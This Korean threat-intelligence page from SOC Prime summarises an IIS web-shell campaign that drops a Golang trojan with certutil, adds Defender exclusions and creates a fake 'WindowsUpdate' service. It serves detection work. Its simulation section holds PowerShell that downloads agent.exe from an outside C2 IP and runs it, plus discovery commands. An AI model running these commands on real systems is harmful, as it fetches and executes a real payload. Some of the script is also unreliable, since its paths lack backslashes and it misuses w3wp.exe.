SOC Prime Bias: 심각

29 12월 2025 12:37

시도, 오류 및 오타: 왜 일부 악성코드 공격이 ‘정교하다’고 생각하지 않는지

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
시도, 오류 및 오타: 왜 일부 악성코드 공격이 ‘정교하다’고 생각하지 않는지
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 기사는 위협 행위자가 손상된 IIS 웹 서버를 활용하여 공격 대상의 엔드포인트에서 Golang 기반 트로이 목마(agent.exe)를 다운로드하고 실행한 세 가지 별개의 사건을 설명합니다. 공격자들은 반복적으로 실행을 시도했으며, certutil을 사용해 페이로드를 가져오고 나중에 Windows Defender의 제외 항목을 추가한 후 Windows 서비스를 통해 지속성을 확립하려고 시도했습니다. 감지는 명령줄, 프로세스 트리 및 네트워크 활동을 캡처한 EDR과 Sysmon 로그를 통해 이루어졌습니다. 이 공격은 적대자가 완벽한 계획서를 따르기보다는 방어 장애물을 어떻게 적응해 나가는지를 보여줍니다.

조사

Huntress 분석가들은 공격 체인을 재구성하기 위해 Windows 이벤트 로그, Sysmon 이벤트 및 IIS 웹 서버 로그를 조사했습니다. 그들은 w3wp.exe를 통한 초기 웹 셸 실행을 식별하고, 잘못된 명령어와 반복적인 페이로드 배달 시도, 및 시작에 실패한 WindowsUpdate라는 서비스의 생성을 관찰했습니다. 파일 경로, 명령줄 및 네트워크 연결과 같은 여러 지표가 수집되었으며 세 가지 사건 전반에 걸쳐 상관되며 분석되었습니다.

완화

주요 완화 조치로는 IIS 서버 강화, 웹 셸 실행 제한, 엄격한 애플리케이션 허용 리스트 시행, certutil 및 PowerShell과 같은 LOLBins의 비정상적인 사용 모니터링, 및 Windows Defender 제외 항목의 임의 생성을 방지하는 것이 포함됩니다. 손상된 호스트의 신속한 격리 및 GotoHTTP와 같은 투하된 도구의 제거도 권장됩니다.

대응

탐지 시, 대응자는 영향을 받은 엔드포인트를 격리하고 전체 프로세스 트리 및 네트워크 로그를 수집하며, 악성 바이너리를 삭제하고 승인되지 않은 Windows Defender 제외 항목을 되돌리며 서비스 생성 실패를 확인해야 합니다. 손상된 페이지에 대한 철저한 웹 서버 검토를 수행하고 모든 손상된 자격 증명을 회전하십시오.

“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef technique fill:#c2c2f0 classDef malware fill:#ff9999 %% Node Definitions initial_access[“<b>액션</b> – <b>T1505.004 서버 소프트웨어 컴포넌트: IIS 컴포넌트</b><br/>공개된 IIS 웹 서버를 악용하여 w3wp.exe를 통해 웹 셸을 배포”] web_shell[“<b>악성코드</b> – <b>이름</b>: 웹 셸<br/><b>파일</b>: login.aspx”] process_w3wp[“<b>프로세스</b> – <b>이름</b>: w3wp.exe<br/><b>목적</b>: 웹 애플리케이션 호스팅”] execution[“<b>액션</b> – <b>T1059.003 윈도우 명령 셸</b><br/>whoami, netstat, ipconfig와 같은 명령 실행”] powershell_exec[“<b>툴</b> – <b>이름</b>: PowerShell<br/><b>기법</b>: T1059.001”] discovery[“<b>액션</b> – <b>탐색 기법</b>”] account_discovery[“<b>기법</b> – <b>T1087.001 로컬 계정</b><br/>로컬 사용자 계정 열거”] group_discovery[“<b>기법</b> – <b>T1069.001 로컬 그룹</b><br/>로컬 그룹 멤버십 열거”] network_conn_disc[“<b>기법</b> – <b>T1049 네트워크 서비스 스캐닝</b><br/>활성화된 네트워크 연결 확인”] internet_conn_disc[“<b>기법</b> – <b>T1016.001 인터넷 연결 탐색</b><br/>외부 연결 확인”] defense_evasion[“<b>액션</b> – <b>회피 기법</b>”] certutil[“<b>툴</b> – <b>이름</b>: certutil.exe<br/><b>기법</b>: T1218 시스템 바이너리 프록시 실행”] hide_files[“<b>기법</b> – <b>T1564.001 아티팩트 숨기기: 숨겨진 파일 및 디렉터리</b><br/>숨김 및 시스템 속성 설정”] defender_exclusion[“<b>기법</b> – <b>T1562 방어 손상</b> 및 <b>T1564.012 파일 경로 제외</b><br/>PowerShell을 통해 Windows Defender 제외 항목 추가”] lateral_transfer[“<b>액션</b> – <b>T1570 횡적 도구 전송</b><br/>외부 서버에서 악성 바이너리 복사”] malicious_binaries[“<b>악성코드</b> – <b>파일</b>: agent.exe, 815.exe, dllhost.exe”] persistence[“<b>액션</b> – <b>T1546.010 이벤트 트리거 실행: Windows 서비스</b><br/>dllhost.exe를 가리키는 서비스 ‘WindowsUpdate’ 생성”] service_creation[“<b>프로세스</b> – <b>이름</b>: Windows 서비스 ‘WindowsUpdate'”] final_execution[“<b>액션</b> – <b>최종 실행</b><br/>서비스 시작, 공격자는 제어 유지”] %% Class Assignments class initial_access action class web_shell malware class process_w3wp process class execution action class powershell_exec tool class discovery action class account_discovery technique class group_discovery technique class network_conn_disc technique class internet_conn_disc technique class defense_evasion action class certutil tool class hide_files technique class defender_exclusion technique class lateral_transfer action class malicious_binaries malware class persistence action class service_creation process class final_execution action %% Connections initial_access u002du002d>|사용| web_shell web_shell u002du002d>|실행| process_w3wp process_w3wp u002du002d>|활성화| execution execution u002du002d>|사용| powershell_exec execution u002du002d>|연결| discovery discovery u002du002d>|포함| account_discovery discovery u002du002d>|포함| group_discovery discovery u002du002d>|포함| network_conn_disc discovery u002du002d>|포함| internet_conn_disc discovery u002du002d>|연결| defense_evasion defense_evasion u002du002d>|사용| certutil defense_evasion u002du002d>|적용| hide_files defense_evasion u002du002d>|적용| defender_exclusion defense_evasion u002du002d>|연결| lateral_transfer lateral_transfer u002du002d>|전송| malicious_binaries malicious_binaries u002du002d>|활성화| persistence persistence u002du002d>|생성| service_creation service_creation u002du002d>|트리거| final_execution “

공격 흐름

시뮬레이션 실행

전제조건: 원격 검사 및 기준선을 통과해야 합니다.

이유: 이 섹션은 감지 규칙을 트리거하기 위해 설계된 적대자 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령어:
    손상된 IIS 서버에서 코드 실행 권한을 이미 획득한 공격자는 w3wp.exe 프로세스(IIS 작업자)를 활용하여 일련의 서명된 바이너리 프록시를 실행합니다. 우선, 시스템 및 네트워크 상태를 열거합니다(whoami.exe, netstat -an, ipconfig /all). 그런 다음 certutil.exe 를 사용하여 원격 C2 서버에서 악성 페이로드(agent.exe)를 다운로드하여 공용 사용자 디렉터리에서 즉시 실행합니다. 모든 명령은 cmd.exe /c 를 통해, w3wp.exe의 컨텍스트에서 시작하여 프로세스 생성 이벤트가 규칙의 조건과 일치하도록 보장합니다.

    # 1. 시스템/사용자 정보 열거
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow
    
    # 2. certutil을 통해 악성 페이로드 다운로드 및 실행
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow
  • 회귀 테스트 스크립트: 다음 스크립트는 Sigma 규칙을 트리거해야 하는 정확한 원격 측정을 재현하며 전체 공격 체인을 자동화합니다.

    <#
    .SYNOPSIS
        "웹 서버 프로세스에서 명령줄 실행 감지" Sigma 규칙을 트리거하는 적대자 활동을 시뮬레이션합니다.
    .DESCRIPTION
        IIS 작업자 프로세스(w3wp.exe)에서 일련의 탐색 및 다운로드 후 실행 명령을 실행합니다.
        프로세스 생성 감사(이벤트 ID 4688)가 활성화된 Windows 호스트에서 실행합니다.
    #>
    
    # w3wp.exe를 통한 명령을 호출하는 함수
    function Invoke-W3wpCommand {
        param (
            [Parameter(Mandatory=$true)]
            [string]$CmdLine
        )
        Write-Host "Invoking via w3wp.exe: $CmdLine"
        Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null
    }
    
    # 1. 탐색 명령어(MITRE T1033, T1016, T1069.001)
    $discoveryCommands = @(
        "whoami.exe",
        "netstat -an",
        "net user admin$",
        "ipconfig /all",
        "net localgroup administrators"
    )
    foreach ($cmd in $discoveryCommands) {
        Invoke-W3wpCommand -CmdLine $cmd
        Start-Sleep -Seconds 2
    }
    
    # 2. 악성 다운로드 및 실행(MITRE T1218.004)
    $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe'
    Invoke-W3wpCommand -CmdLine $maliciousCmd
  • 정리 명령: 다운로드된 페이로드를 제거하고 남은 프로세스를 종료합니다.

    # 악성 에이전트 바이너리 삭제
    Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue
    
    # 아직 실행 중인 경우 옵션으로 에이전트 종료
    Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force